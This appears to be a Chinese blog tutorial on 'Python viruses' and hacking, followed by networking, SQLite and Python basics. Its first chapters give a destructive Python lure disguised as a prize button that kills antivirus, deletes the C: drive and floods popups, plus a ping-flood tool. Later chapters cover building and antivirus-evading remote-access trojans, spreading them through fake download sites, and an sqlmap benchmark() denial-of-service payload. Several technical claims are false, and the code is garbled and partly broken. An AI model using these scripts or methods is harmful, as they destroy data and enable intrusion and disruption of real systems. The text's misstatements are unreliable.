Python病毒篇:高级篇

发布时间:2025-12-10 11:35:42 浏览次数:3

该文章的目录

  • 引子
    • 事先说明
    • 准备
      • VirtualBox
      • 镜像文件
      • 安装虚拟机
      • 安装Python
      • 本篇文章特殊准备
      • John/Ettercap
      • 黑客工具
    • PE启动U盘
      • 凡客基站
      • Kali linux虚拟机
      • 配置环境
      • 建立攻击对象:XP虚拟机
    • Hacker基础
      • 常见术语
      • 爬虫
      • 数据库
  • 第一章:基础木马篇
    • 引导木马
    • 网络堵塞攻击
    • 轻量级病毒
    • 尾声
  • 第二章:系统攻防篇
    • 操作系统
      • Windows
      • Mac
      • linux
    • 系统
    • 漏洞
    • 后端攻击
    • 密码
    • 尾声
  • 第三章:超级病毒篇
    • 工具
    • 病毒讲解
      • 大白鲨木马病毒
      • 中了大白鲨木马怎么办
      • 灰鸽子&冰河
      • 灰鸽子木马程序
        • 制作灰鸽子木马程序
        • 检测灰鸽子木马
      • 冰河
    • 伪装
      • 花指令/加壳
      • 万能捆绑器
      • 实战:利用大白鲨木马控制XP系统
        • 环境搭建
        • 实战
          • 搭建网页
          • 免杀
          • 控制
    • 尾声
  • 第四章:黑客工具篇
    • Burpsuite
    • 御剑
    • SQLmap
    • Ettercap
    • John
    • 自己制作黑客工具
      • 网络堵塞攻击器
    • 尾声
  • 第五章:网络安全篇
    • Web渗透
      • 实例01:Web渗透之CTF管理员系统
    • 密码暴力破解
      • 实例02:暴力破解网站管理员密码:
    • SQL注入
      • SQLtools
    • DDOS攻击
    • DNS欺骗
      • 实例03:虚拟机模拟DNS欺骗
    • 总结
  • 第六章:网络技能篇
    • TCP/IP协议
    • 网页挂马与传播
    • 自己建立网站
    • ping
  • 第七章:数据库篇
    • 数据库
    • 创建一个数据库
      • 增删改查操作
      • 查看
    • Navicat
    • SQLite database browser
  • 第八章:Python基础
    • 经典程序:HelloWorld
    • 强大的类库:math
    • 更多
  • 附录

引子

这次是Python病毒篇:中级篇的汇总,全章节的内容,看这一篇就够了!同时添加了一些新的东西,例如ARP欺骗等。

事先说明

不喜勿喷哦!另外有什么问题不要私信我,我没有时间看,在文章下方留言即可,还有,该文章中的所有技术均为本人自己研究所得,不要抄袭哦!请遵守法律

黑客,是一群拥有着超级大脑,并且电脑技术极好的一个群体。当第一个黑帽黑客出现时,人们就对黑客产生了歧义。那么,到底什么是黑客?黑客不是坏人,人们口中的黑客,都是一个叫做黑帽黑客的群体。他们攻击网站,盗取信息,篡改网页……几乎无恶不作。但是,那些专门查看并且通知漏洞的白帽黑客,那些专门为企业提供保护的灰帽黑客,以及那些为国家,在军队中的红帽黑客,他们都是黑客。
本书,通过几个章节来讲述黑帽编程的技术。将来,你一定不能成为一个黑帽黑客。本文的1-3章主要讲解黑客基础,基础木马,系统攻防等技术。

准备

如果你是第一次阅读我的文章,那么请做好一下准备:

VirtualBox

百度搜索VirtualBox软件,点击下载,根据向导的提示安装即可。

镜像文件

百度搜索MSDN,我告诉你,点击操作系统,在右边的复选框中选择适当的版本,这里以Windows7 Enterprise(x86)为例

然后把这个ed2k地址复制一下,在迅雷中下载下来即可。

安装虚拟机

接下来创建一个虚拟机,选择适当的参数,由于这里每个人情况不同,便不再多说了,最后选择镜像文件即可。

安装Python

这里笔者不多做阐述。大家根据自己的实际情况下载即可。

本篇文章特殊准备

这篇文章需要做更多准备。

John/Ettercap

如果你安装了kali,你就不用安装了。他是一个密码破解工具,你需要搭配一个弱密码字典,这是个近乎完美的工具。
而Ettercap是一个投毒软件。

黑客工具

我们之前用到的黑客工具都要用到,包括Burpsuite,御剑等多种工具,毕竟是汇总嘛!

PE启动U盘

我们做的有些木马,其实会让系统无法使用,那么我们怎么检测这台计算机的文件和软件呢?我们可以制作PE启动U盘。制作完成后,我们插在电脑上,就可以看一下,病毒加密了那些文件,C盘有没有删干净等。推荐大白菜或者老毛桃。

凡客基站

这篇文章由于我们要创建趋于真实的网站,但是如果每个案例都要用大量的代码来编写,太麻烦(不是我不会),所以我们注册一个凡客基站账号,让他来帮我们搭建网站。

Kali linux虚拟机

kali是linux的一种。他被称为黑客最喜欢的操作系统,因为它内置了大量工具集,包括密码破解,抓包,注入,欺骗等工具。他是一个开源的操作系统,并且它可以兼容Python,Java, C++, 等多种语言。在Kali中,你不需要安装Python,它已经安装好了,并且可以在命令行中运行。

这次,我们要安装一个Kali的虚拟机。我们百度搜索kali,第一个英文官网点进去。
然后选择ova文件下载下来,最后你可以看到这个文件夹。

然后再VirtualBox中选择Import(导入),选择这个ova文件,即可。安装后如下:

配置环境

将环境配置好,并将所有虚拟机都设在一个虚拟网络下面。

建立攻击对象:XP虚拟机

Windows XP是微软的一个杰出的产品,目前有些ATM取款机,学校电脑用的都是XP系统,而且他的上一个产品:Windows95和XP,个人感觉差别很大,再往前的,如Windows ME,Windows 4等,反正我是用不惯。现在我们安装一个XP系统,作为攻击对象。过程和之前差不多,所以我就不多介绍了,完成后如下:

至此,我们已经有了攻击对象,我们可以向他发起猛烈的攻击,当然,你可以将它放在一个虚拟网络内,这样以便于之后的DNS欺骗,ARP欺骗等。然后打开Kali,看看能不能Ping通。

Hacker基础

常见术语

木马:病毒的一种,通常传播快,而且会自主繁殖,是目前最流行的病毒
勒索:主要以欺骗钱财为主要目的的病毒
后门:一个看似好的程序,有可能下一秒就会被黑客利用

爬虫

一个优秀的Web黑客,爬虫是必备技能。他们能用爬虫爬取网站上的信息,这在有些时候有利于黑客攻击网站。

数据库

数据库是存储信息的一种数据类型。一般大公司的数据库开发团队所在的地方都是不能随便进出的。如果一个网站的数据库被攻破,那么这个网站差不多也就结束了。

第一章:基础木马篇

我们在很久之前学习了木马病毒,也不是很久,虽然也就一个多礼拜。现在基本上都学的是网络安全,那么我们现在就来回顾以下这些木马。

木马病毒是指隐藏在正常程序中的一段具有特殊功能的恶意代码,是具备破坏和删除文件、发送密码、记录键盘和攻击Dos等特殊功能的后门程序。

引导木马

import tkinter as tkimport subprocessimport osimport webbrowser as webimport tkinter.messagebox # 弹窗库os.system(r'taskkill /F /IM 360safe.exe')#先免杀#按钮后的木马病毒编写def command():subprocess.call("del C:", shell=True)#删除C盘os.system("net stop service")#关闭网络服务while True:web.open("www.baidu.com")#无限打开网页tkinter.messagebox.showinfo('提示', 'Tkinter弹窗')#无限弹窗病毒tkinter.messagebox.showinfo('Windows安全中心', 'Windows遭到恶意木马攻击,正在尝试自救!')#前端设计GUI =tk.Tk()GUI.title('大奖')GUI.geometry('500x300')b = tk.Button(GUI,text = '点击领取大奖一份!',bg='cyan',font = ('幼圆',15),width=20,height=10,command=command())b.pack()GUI.mainloop()

这个木马可以诱导用户运行木马文件,我们把它改造过很多木马和恶意软件。

网络堵塞攻击

import osip = input("请输入IP:")os.system("ping -t -l 50 " + ip)

我们来解析一下这个代码:
获取ip地址通过ping指令向指定主机发送文件包。无限的向ip主机发送大小为50的数据包,造成网络堵塞。
当然,你一个人肯定不行,叫上你的队友和你一起攻击。
我们黑客,肯定有自己的组织,怎么找也得有个三四个。人数越多,攻击的威力越大。

轻量级病毒

那么这些木马直接看一下就可以了。以我们目前的水平来说,这些小木马实在太弱小了。

import tkinterimport tkinter.messagebox #弹窗库while True:tkinter.messagebox.showinfo('提示','Tkinter弹窗')import webbrowserwhile True:webbrowser.open("www.baidu.com")

尾声

基础的木马就到此结束了。我们一般不会用这些东西,但是这确实我们黑客的必备技能。如果你觉得这一章节不是很懂的话,可能有几点原因:1.对Python的基础编程不了解 2.对病毒的原理不了解。这个是个简单的篇章,我们直接看下一个篇章!

第二章:系统攻防篇

操作系统

在此之前,我们先认识一下操作系统。这一定程度上会提高我们的能力。

Windows

80%的电脑用户都在使用windows操作系统。因为Windows操作系统,用来办公,打游戏,编程,攻击,建模,3D等各方面都足够了。而且防御力还可以。并且这是第一个图形化操作系统,所以用的人比较多。

Mac

苹果的电脑,外形比较美观,而且它的护甲比较高,一般只要你不再浏览器上乱点,不去下载一些恶意软件,基本上不会中毒。缺点是不太好操作,对于一些新手来说比较难上手,而且小毛病多的一批。

linux

linux是一个比较好的操作系统。下载无捆绑,而且自带很多东西,不用你额外下载,对于黑客来说,它的攻击力很高。唯一的缺点是,护甲比较低,所以不建议你家用电脑用linux。
本人有两台电脑,一台Windows10的台式机,一般的家用都可以,还可以编程,研究黑客技术什么的。一台Mac的笔记本,平时出去耍耍帅,然后上面装了一台kali的虚拟机,虚拟机的保护比较高,完美。

系统

系统攻防,和网络攻防最大的区别在于:很多。(这是个不怎么搞笑的搞笑)
系统,通俗来讲就是你的电脑,我们口中所说的”攻击你的电脑“,”电脑中木马了“,所指的都是系统。但是系统并不是每时每刻都开着的。而网站,我们可以通俗的理解为”每时每刻开着的电脑“。网站的攻防有一套较为规范的攻击套路:ARP欺骗,DNS欺骗,SQL注入,DDOS分布式攻击。黑客就是在这几种攻击模式中不断地改进。例如DDOS,现在传统的DDOS基本上都能拦截,而黑客就再次基础上创建了应用层DDOS,通俗来说,就是把传统的流量病毒伪装成正常的事务,从而骗过防护机制,对网站进行攻击。当然防护机制也是在变化的。黑客的创意是无穷的,正难则反。
所以系统的攻防是没有什么限制的,不像网络攻击,基于几种攻击方式(当然网络攻击也是可以有别的攻击方式的)。而系统的攻防虽说比较自由,但是基本上常见的攻击也是基于这几种:

漏洞

无论是系统的漏洞,或者是软件的漏洞,如果黑客能够发现这些漏洞,那么就可以利用漏洞去攻击。例如Windows10的证书漏洞,或者各类软件的漏洞。这些漏洞实际上是开发人员在开发时没有注意到的。例如’or’='or’漏洞,这个漏洞完全就是网站的信息处理方面出现了问题,导致用户可以通过指定的内容来代替密码。不过这不是系统的主要攻击方式,这更多出现在Web上。Web每天都有漏洞被攻击者利用,而通过漏洞攻击系统的比较少。

后端攻击

微软在开发Windows时,还顺带开发了CMD。众所周知,CMD使用CGI的方式进行交互的,Windows时第一个GUI的操作系统,再次之前,人们使用的都是一种叫DOS的系统,这就和CMD差不多,不过目前的都是GUI操作系统,所以Microsoft在开发Windows的时候,顺带保留了一些命令行界面。目前将CGI交互保留的最好的操作系统时Linux,学过Linux的都知道,在这种开发环境中,如果你不会命令行,你根本无法使用这个操作系统。那么既然微软在全力的开发GUI,我们是不是可以通过CGI来攻击呢?最简单的例子就是网络堵塞攻击病毒,或者telnet/ftp等攻击方式。

密码

密码有非常悠久的历史。而加密则成为攻击者必备的技能。比方说WannaCry勒索病毒,文件的加密是这个病毒的本体,再加上病毒是采用非常隐蔽的比特币来进行交易的,所以这个病毒非常令人恐怖。然而,文件的加密和解密,远程密码破解这都成为了骇客的必备技能。

尾声

有关于系统攻防的篇章就到此结束了。如果你觉得有点难,有几点原因:1.对系统的基础知识不了解,2.对CGI,GUI的含义认知较差。反正也是简单的一个章节。第三章是一个相对重要的单元

第三章:超级病毒篇

在这一章节中,我们会学习到灰鸽子,大白鲨木马等高级的病毒。

工具

我们必须使用工具来解决这一切,这里我们需要下载:
大白鲨远控软件
灰鸽子软件
万能捆绑器
小白加壳
啊D注入工具

下载的压缩包要进行扫描,请在虚拟机中运行,并且攻击一个虚拟机,即使你有一个不用的电脑!
下载后如下:

病毒讲解

由于相关原因,黑客软件的相关截图就不截了,大家根据文字自己操作哦!

大白鲨木马病毒

我们打开大白鲨木马工具,配置以下程序,然后选择端口和双方IP(这里分别是XP的和Kali的),最后生成Server程序,埋伏在C盘的系统文件中。这样,XP系统就中了大白鲨木马了。只不过病毒还没有发作而已,现在我们可以用木马进行远程操控。
我这里的Kali系统安装的木马工具出错了,所以在IOS里面演示。这时候我们把大白鲨木马传输到XP系统了,这台系统已经被我们掌控了。
这里说一下,大白鲨木马其实是一个远程控制系统,它不会感染文件。

中了大白鲨木马怎么办

如果发现自己中了大白鲨木马怎么办?别急,我们有几个方法。首先我们可以用杀毒软件,大白鲨木马属于顽固木马,一般的杀毒软件应该能识别,所以无论是火绒还是其他的杀毒软件应该都可以。

如果发现大白鲨木马被免杀了怎么办(这个技术等会儿会学)?我们可以将这个木马发送给安全公司,让他们赶紧升级病毒库,然后关机,在别的电脑上操作。

如果以上都不可以的话,也不用怕。毕竟我们是黑客,这些小病毒难不倒我们的,用PE启动盘或者其他磁盘监控软件,查看木马生成或修改了哪些文件,然后我们手工杀毒即可,仔细检查系统文件区,找到Server程序删除即可。

例如大白菜。这样我们就能杀死病毒了。

灰鸽子&冰河

这两款软件都是立志成为一款优秀的文件传输软件,不过现在,他们是黑客的最爱。

灰鸽子木马程序

我们要做这个木马,首先要了解这个木马。G_Server.exe、G_Server.dll和G_Server_Hook.dll三个文件相互配合组成了灰鸽子服务端。这些文件各有各的作用,有的是负责隐藏木马,有的是记录键盘记录的。

制作灰鸽子木马程序

我们用灰鸽子生成工具制作木马程序来制作,这非常简单,和大白鲨差不多。

检测灰鸽子木马

我们在了解了灰鸽子的病毒原理之后,我们可以检测。当黑客制作完病毒后,几个程序分别为:名字.exe/.dll/_Hook.dll这几个文件,我们打开Windows搜索,查看_Hook.dll即可。因为前两种后缀名会重名,不过第三种的重名概率较低。

我们也可以用杀毒软件,进行扫描。

好了,灰鸽子病毒已经讲解完毕了。

冰河

差不多吧,就和灰鸽子程序差不多。不多解释了。

伪装

花指令/加壳

这些软件可以帮我们让病毒免于查杀。一般用的汇编语言来迷惑杀毒软件的智能判断系统。

万能捆绑器

我们加完壳之后,将他们与正常文件捆绑在一起,然后挂马(详见上一篇文章:《python病毒篇》:中级篇)。

实战:利用大白鲨木马控制XP系统

环境搭建

创建两台虚拟机,Win10作为攻击机,WinXP作为用户机。然后下载大白鲨远控。

实战

搭建网页

我们用凡客建站来搭建一个网页,如图:

(这个安全检测也太不靠谱了,连大白鲨也没检测出来。不过我拿的是一个空白压缩包,检测不出来情有可原)
这里已经挂好木马了,与《小熊浏览器》合并为一个程序。

免杀

我们用工具加好壳子之后,让木马潜入到电脑里面。这是我们用软件与木马取得联系。

控制

接下来我们就可以控制这台XP系统了!

尾声

OK,现在这些木马已经可以解决了。使用软件不要太简单!难在如何手工杀毒,主要的就是对病毒的发病机制不了解,所以手工杀毒会失败。

第四章:黑客工具篇

黑客工具,我之前一再强调,对于我们这些小白,或者小黑客来说,是非常重要的。上一篇我们就已经学过一些黑客工具了。这一章只做介绍,详细的攻击和实战在下一章会讲。

Burpsuite

这是个非常好的Web渗透工具,也是个网络安全人员非常喜欢用的工具。他集结了非常多的功能,密码暴力破解,漏洞利用和扫描,网站操作截取(抓包)等等……功能太多了。现在我们要下载这个软件。平民路线,我们可以下载社区版(CE),这个有很多功能不能用,当然我们可以试用Pro版本。或者我们下载Kali虚拟机,这里下载好了CE版的Burpsuite。具体的我们看一下官网的价格:

看不懂英文的话,可以看这张表:

名称价格
社区版免费
专业版399美元/年
企业版3999美元/年

御剑

这是个后台扫描工具,在后期非常有用。不多介绍,国产,免费!

SQLmap

这个工具可以帮助我们扫描并追踪漏洞来进行数据库扫描和窃取,是个很厉害的工具。同时是Kali Linux的自带工具。

Ettercap

这是个投毒和嗅探工具,可以对目标主机进行界面扫描,也可以用来DNS欺骗等。这个仍然是Kali自带的工具。

John

有了Burpsuite,其实John就可以放弃了。不过John是个非常好用的密码破解工具。

自己制作黑客工具

网络堵塞攻击器

我们现在制作一个网络堵塞的攻击器,只需要输入目标主机名称,就可以进行网络堵塞攻击,建议团队使用,效果**!
网络堵塞攻击源代码如下:

import osip = input("请输入IP:")os.system("ping -t -l 50 " + ip)

我们把它封装成一个函数:

import osdef atteck():ip = input("请输入IP:")os.system("ping -t -l 50 " + ip)attack()

好的,现在我们在加工一下即可!

import ostry:def atteck():ip = input("请输入IP:")os.system("ping -t -l 50 " + ip)attack()except:print("找不到目标主机!")

是不是完美了?打包一下,在命令行的交互界面中输入IP地址,开始攻击!

尾声

至此,黑客软件部分已经完成了,都是讲解的黑客工具,没有什么特别的东西,主要是用这些工具来帮助我们。那么下一章,我们会正式的进入网络安全,我们看一看这些黑客工具会在哪些地方帮助我们。

第五章:网络安全篇

前三章,我们基本上是离开网络的。那么我是比较擅长网络安全的,所以现在我们学一下网络安全的部分。网络安全,一个深奥的技术,可以有在线,或者离线(这里的在离线不是指网络)。比如在线的网络黑客对战,还有离线的攻破网站,篡改网页等。那么现在,我们一起踏进网络安全的大门!

Web渗透

我们之前做过的CTF大战其实就是练习自己的Web渗透技术。那么什么是Web渗透呢?简单来说,就是利用黑客技术和编程,来攻击Web(笔者怕讲错误导小白)。那么我们学习Web渗透技术肯定要用工具,上一章已经讲过了。现在我们看一个CTF实例。

实例01:Web渗透之CTF管理员系统

首先,我们打开Burpsuite渗透工具:

创建工程之后,我们打开它:


OK,我们打开了Burpsuite:

OK,现在我们看一下BugkuCTF网站上面的例题,界面如下:

然后让我们得到flag。
第一个想到的是看源代码,我们看到一个字符,base64加密的,原文是test123。然后我们登入一下,发现登入失败,那么我们抓包一下。
(这里把pass=admin看成pass=test123)
OK,现在,我们右键,把他传输到Repeater模块。这个模块可以不用用浏览器,只要一个配置的IP,然后就可以各种操作,最后查看结果。
我们再Headers这个栏目中插入这句话:

然后Go一下,我们再右边的代码中就能够看到flag了!

密码暴力破解

现在我们再看一个密码暴力破解。对于黑客而言,破解密码技能,必备!而且如果你不会破解密码,那么你就不是一个黑客!我们通过一个实例来看一下!

实例02:暴力破解网站管理员密码:

这是我自己编写的一个网站,如下图:

已知用户名,要我们破解密码。现在我们再次打开Burpsuite。
然后我们打开Burpsuite。这次我们使用暴力破解模块。这里不多陈述了。现在我们只需要准备一个字典就可以了。

SQL注入

这是个老生常谈的话题了。我们用DVWA的实验标本来实验。我们用SQLmap进行SQL注入。打开SQL注入工具。

现在我们暴力破解数据库,这里不多说了。因为这都是之前讲过的东西,现在再将太累。

SQLtools

这个工具也可以帮助我们做有关数据库的攻击。这里不多解释。

DDOS攻击

分布式攻击一直是个比较常见的攻击方式,现在我们通过SQLmap进行。
这次我要详细的讲一讲。我们打开SQLmap,输入以下代码块:

sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] --sql-shell

然后进行攻击

select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)

结束后可以访问一下网站。

DNS欺骗

DNS欺骗,指的是黑客通过抓包来获取用户访问的网站,然后通过修改用户的访问请求,使得用户原本访问的网站被改为一个钓鱼网站。

实例03:虚拟机模拟DNS欺骗

首先我们创立3台虚拟机,windowsXP(用户机),Kali(攻击机)以及windows Server 2003(模拟的网站服务器)。
由于本人黑客技术有限,所以只能展示一部分。

首先我们用server搭建一个网站。这个网站拥有数据库,登入,服务器,是一个非常Good的网站。然后我们搭建一个虚拟网络,保证他们能互相ping通即可。

Ettercap投毒是一个非常好用的工具,我们用它投毒即可。
这里就不多做解释了。这就是真正黑客的传奇!(自行体会哈哈哈哈哈哈哈哈哈!)

总结

这里网络安全部分太少了,在之后我会详细的讲解的!这里罗列一些网络安全的基础技能。

名称对应可使用工具
DDOS攻击SQLmap
DNS欺骗ettercap
SQL注入SQLmap
抓包Burpsuite
密码暴力破解Burpsuite
其他非常多

好的,这里我们已经讲完了网络安全的一小部分。接下来我们看一下

第六章:网络技能篇

这一章是拓展一些网络的技能。

TCP/IP协议

TCP/IP传输协议,即传输控制/网络协议,也叫作网络通讯协议。它是在网络的使用中的最基本的通信协议。TCP/IP传输协议对互联网中各部分进行通信的标准和方法进行了规定。并且,TCP/IP传输协议是保证网络数据信息及时、完整传输的两个重要的协议。TCP/IP传输协议是严格来说是一个四层的体系结构,应用层、传输层、网络层和数据链路层都包含其中。
TCP/IP协议是Internet最基本的协议,其中应用层的主要协议有Telnet、FTP、SMTP等,是用来接收来自传输层的数据或者按不同应用要求与方式将数据传输至传输层;传输层的主要协议有UDP、TCP,是使用者使用平台和计算机信息网内部数据结合的通道,可以实现数据传输与数据共享;网络层的主要协议有ICMP、IP、IGMP,主要负责网络中数据包的传送等;而网络访问层,也叫网路接口层或数据链路层,主要协议有ARP、RARP,主要功能是提供链路管理错误检测、对不同通信媒介有关信息细节问题进行有效处理等。
TCP/IP协议能够迅速发展起来并成为事实上的标准,是它恰好适应了世界范围内数据通信的需要。它有以下特点:
(1)协议标准是完全开放的,可以供用户免费使用,并且独立于特定的计算机硬件与操作系统。
(2)独立于网络硬件系统,可以运行在广域网,更适合于互联网。
(3)网络地址统一分配,网络中每一设备和终端都具有一个唯一地址。
(4)高层协议标准化,可以提供多种多样可靠网络服务。

TCP/IP协议的层次 网络层 IP协议
网络层引入了IP协议,制定了一套新地址,使得我们能够区分两台主机是否同属一个网络,这套地址就是网络地址,也就是所谓的IP地址。IP协议将这个32位的地址分为两部分,前面部分代表网络地址,后面部分表示该主机在局域网中的地址。如果两个IP地址在同一个子网内,则网络地址一定相同。为了判断IP地址中的网络地址,IP协议还引入了子网掩码,IP地址和子网掩码通过按位与运算后就可以得到网络地址。
ARP协议
即地址解析协议,是根据IP地址获取MAC地址的一个网络层协议。其工作原理如下:ARP首先会发起一个请求数据包,数据包的首部包含了目标主机的IP地址,然后这个数据包会在链路层进行再次包装,生成以太网数据包,最终由以太网广播给子网内的所有主机,每一台主机都会接收到这个数据包,并取出标头里的IP地址,然后和自己的IP地址进行比较,如果相同就返回自己的MAC地址,如果不同就丢弃该数据包。ARP接收返回消息,以此确定目标机的MAC地址;与此同时,ARP还会将返回的MAC地址与对应的IP地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。
路由协议
首先通过IP协议来判断两台主机是否在同一个子网中,如果在同一个子网,就通过ARP协议查询对应的MAC地址,然后以广播的形式向该子网内的主机发送数据包;如果不在同一个子网,以太网会将该数据包转发给本子网的网关进行路由。网关是互联网上子网与子网之间的桥梁,所以网关会进行多次转发,最终将该数据包转发到目标IP所在的子网中,然后再通过ARP获取目标机MAC,最终也是通过广播形式将数据包发送给接收方。而完成这个路由协议的物理设备就是路由器,路由器扮演着交通枢纽的角色,它会根据信道情况,选择并设定路由,以**路径来转发数据包。
所以,网络层的主要工作是定义网络地址、区分网段、子网内MAC寻址、对于不同子网的数据包进行路由。

传输层
链路层定义了主机的身份,即MAC地址,而网络层定义了IP地址,明确了主机所在的网段,有了这两个地址,数据包就从可以从一个主机发送到另一台主机。但实际上数据包是从一个主机的某个应用程序发出,然后由对方主机的应用程序接收。而每台电脑都有可能同时运行着很多个应用程序,所以当数据包被发送到主机上以后,是无法确定哪个应用程序要接收这个包。因此传输层引入了UDP协议来解决这个问题,为了给每个应用程序标识身份。
UDP协议
UDP协议定义了端口,同一个主机上的每个应用程序都需要指定唯一的端口号,并且规定网络中传输的数据包必须加上端口信息,当数据包到达主机以后,就可以根据端口号找到对应的应用程序了。UDP协议比较简单,实现容易,但它没有确认机制,数据包一旦发出,无法知道对方是否收到,因此可靠性较差,为了解决这个问题,提高网络可靠性,TCP协议就诞生了。
TCP协议
TCP即传输控制协议,是一种面向连接的、可靠的、基于字节流的通信协议。简单来说TCP就是有确认机制的UDP协议,每发出一个数据包都要求确认,如果有一个数据包丢失,就收不到确认,发送方就必须重发这个数据包。为了保证传输的可靠性,TCP协议在UDP基础之上建立了三次对话的确认机制,即在正式收发数据前,必须和对方建立可靠的连接。TCP数据包和UDP一样,都是由首部和数据两部分组成,唯一不同的是,TCP数据包没有长度限制,理论上可以无限长,但是为了保证网络的效率,通常TCP数据包的长度不会超过IP数据包的长度,以确保单个TCP数据包不必再分割。
传输层的主要工作是定义端口,标识应用程序身份,实现端口到端口的通信,TCP协议可以保证数据传输的可靠性。

应用层
理论上讲,有了以上三层协议的支持,数据已经可以从一个主机上的应用程序传输到另一台主机的应用程序了,但此时传过来的数据是字节流,不能很好的被程序识别,操作性差,因此,应用层定义了各种各样的协议来规范数据格式,常见的有http,ftp,smtp等,在请求Header中,分别定义了请求数据格式Accept和响应数据格式Content-Type,有了这个规范以后,当对方接收到请求以后就知道该用什么格式来解析,然后对请求进行处理,最后按照请求方要求的格式将数据返回,请求端接收到响应后,就按照规定的格式进行解读。
所以应用层的主要工作就是定义数据格式并按照对应的格式解读数据。 ————————————————
版权声明:本文为CSDN博主「tiantian520_tt」的原创文章,遵循CC 4.0
BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/tiantian520ttjs/article/details/103107836

网页挂马与传播

我们可以利用网站来传播我们的病毒。现在我们可以用凡科建站来搭建一个恶意网站。我们假装这是一个软件下载园,例如“新闻资讯”,然后让用户下载。这时候,我们将这个恶意软件上传上去,即可实现网页挂马。这基本上就是我们遇到的那些恶意网站的做法。

一般人应该看不出来吧!(不过现在一般都不会下载这些不知名网站,都是官网下载的)

自己建立网站

凡客建站是一个用于创建网站的工具。你可以自己编写,这都取决于你。另外这篇文章是中级篇,之后的文章会越来越厉害。如果你需要自己的网站,我这里可以给你一个代码。

import flaskapp = flask(__name__)@app.route('/')def first():return "Hello World"if __name__ == "__main__":app.run(debug=True)

这是个最基本的代码,接下来我们来链接一个数据库:

from flask import Flaskimport sqlite3con = sqlite3.connect('db.db')cur = con.cursor()app = Flask(__name__)@app.route('/')def first():# SQL语句if __name__ == "__main__":app.run(debug=True)cur.close()conn.commit()conn.close()

然后你还可以多加一个路由:

from flask import Flaskimport sqlite3con = sqlite3.connect('db.db')cur = con.cursor()app = Flask(__name__)@app.route('/')def first():# SQL语句@app.route('resighed')def resigned():return "You are visiting resigned!"if __name__ == "__main__":app.run(debug=True)cur.close()conn.commit()conn.close()

好了,之后你可以再加一些空间来深化你的网页。如果你要使用H5的话,也可以,这里举个404错误的简单例子:

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>Title</title></head><body><h1>404 NOT FOUND</h1><p1>please try again</p1></body></html>

ping

这个是一个CMD指令,我们可以用它对一个电脑,甚至网站进行数据包传送:ping www.baidu.com即可。我们要注意,只有Windows8以上版本才能ping网站。

第七章:数据库篇

数据库

数据库,是存储信息的最常用的方式。英文学名Database。一个数据库可能有多个表,每个表中都存储了很多数据,这有点类似于二维数组,但是这其实是一个表格。假设你正在开发一个网站,网站是一个旅游网站,那么数据库可能就是这个样子:

数据库创建name:travel

然后你在这个travel的数据库中建立了一张表,用来存储用户的用户名和密码:
user表:

用户名密码
张三123456
李四qwerty
王五666666

那么这张表就存储了每个用户的信息。如果用户要登入,我们就可以将输入内容与数据库内容进行核对。
那么一个数据库可以有多张表,比方说有一个表,来存储用户的充值信息:
chongzhi表:

用户名购买内容
张三黄金VIP一个月
李四普通VIP一个月

那么这个就是一张表。
比方说,张三给李四打了100元,那么这就是一次事务
比方说,张三转账失败,软件把钱退给了张三,那么软件的操作叫做回滚
比方说,张三给王五转账100元,而黑客李四拿到了100元,王五没收到。那么李四的操作就叫做截取

这就是有关数据库的一些介绍和一些专业名词。我们采用SQLite3数据库,因为这是Python自带的。只要你的Python版本大于3.0就完全没问题。

创建一个数据库

我们打开PythonIDE,然后输入以下代码

import sqlite3#导入数据库模块conn = sqlite3.connect('database.db')#创建db文件和数据库对象cur = conn.cursor()#建立游标对象"""接下来是结束语句,中间暂时跳过SQL语句部分"""cur.close()#关闭游标conn.commit()#提交事务conn.close()#关闭connection对象

OK,这就是sqlite3数据库的创建操作,接下来我们要了解有什么SQL语句
然后我们建立一张表。这张表用来存储用户的用户信息,名为user。

cursor.execute('create table user (id int(10) primary key, name varchar(20))')

CREATE TABLE:这个是创建命令,就和print一样,没有大小写敏感。
user:表的名字
int(10):整形,大小为10
id:相当于表格的一个列的名字,是用户的id号码
primary key:主键
name:姓名信息的列
varchar(20):字符串型,大小为20

增删改查操作

执行操作,我们用cursor对象的execute方法来实现。我直接给代码:

cursor.execute('insert into user (id, name) values ("1", "zhangsan")')cursor.execute('select * from user')cursor.execute('update user set name = ? where id = ?', ('zhangsan', 1))cursor.execute('delete from user where id = ?', (1,))

这四句话就是增删改查的对应语句,具体的可以仔细的看一下代码,这里就不多做介绍了。

查看

使用fetchall()函数来查看内容:

r = cur.fetchall()print(r)

OK,现在我们已经完成了数据库的创建和增删改查等操作。

我们刚刚已经学习了如何使用sqlite3数据库,现在我们看一下怎么用工具。

Navicat

这是个图形化的工具,试用期是14天。它可以让一个小白轻松创建一个数据库。而且支持sqlite,mysql,DB2等多种数据库格式。但是价格也很昂贵。

SQLite database browser

这是个Kali的自带工具,它可以简化代码的编写过程。不过这不是个GUI的界面,要比Navicat要难理解一点,不过也够用了。而且这个是一个免费的自带工具,因为在Kali的开源系统内,所以建议使用这款工具。

第八章:Python基础

这个应该放在最前面,不过大佬可以跳过。我知道一些小白会不会用Python,那么我们就学习一点Python的基础编程吧!

经典程序:HelloWorld

print函数可以帮我们输出内容;

print("Hello World!")

print被称作为方法。其实就是一个函数,括号里面的内容我们成为参数。输出的内容是一个字符串
你看,短短一个程序就有那么多学问。把这几个词语记住。

强大的类库:math

编程可以帮我们解决很多数学问题,接下来我们用一个math库来帮助我们解决数学问题。

import math#打开math库

这里的import是一个关键字,它能够帮我们打开一个库文件。math是python的自带库
现在我们用math帮助我们计算-12的绝对值,我们用fabs函数来实现。

import mathtarget = math.fabs(-12)print(target)

这里,我们把-12的绝对值储存在target的变量中,并且用print输出了出来。
这里涉及了大量的专业名词……
好的,现在你已经可以让你的电脑计算绝对值了!
或者我们用python的计算:

1+1#加法1-1#减法1*1#乘法1/1#除法1//1#取商1%1#取余数

更多

推荐大家到Noob菜鸟教程上面学习,上面可以让你轻松入门。我已经学了10多门语言了!

附录

没什么,有什么联系我就可以了。这次写了2W+的字数,太多了,手都酸了。拜拜!

部分摘抄地址:
https://blog.csdn.net/tiantian520ttjs/article/details/103107836
https://blog.csdn.net/tiantian520ttjs/article/details/103988639
https://blog.csdn.net/tiantian520ttjs/article/details/103323055

需要做网站?需要网络推广?欢迎咨询客户经理 13272073477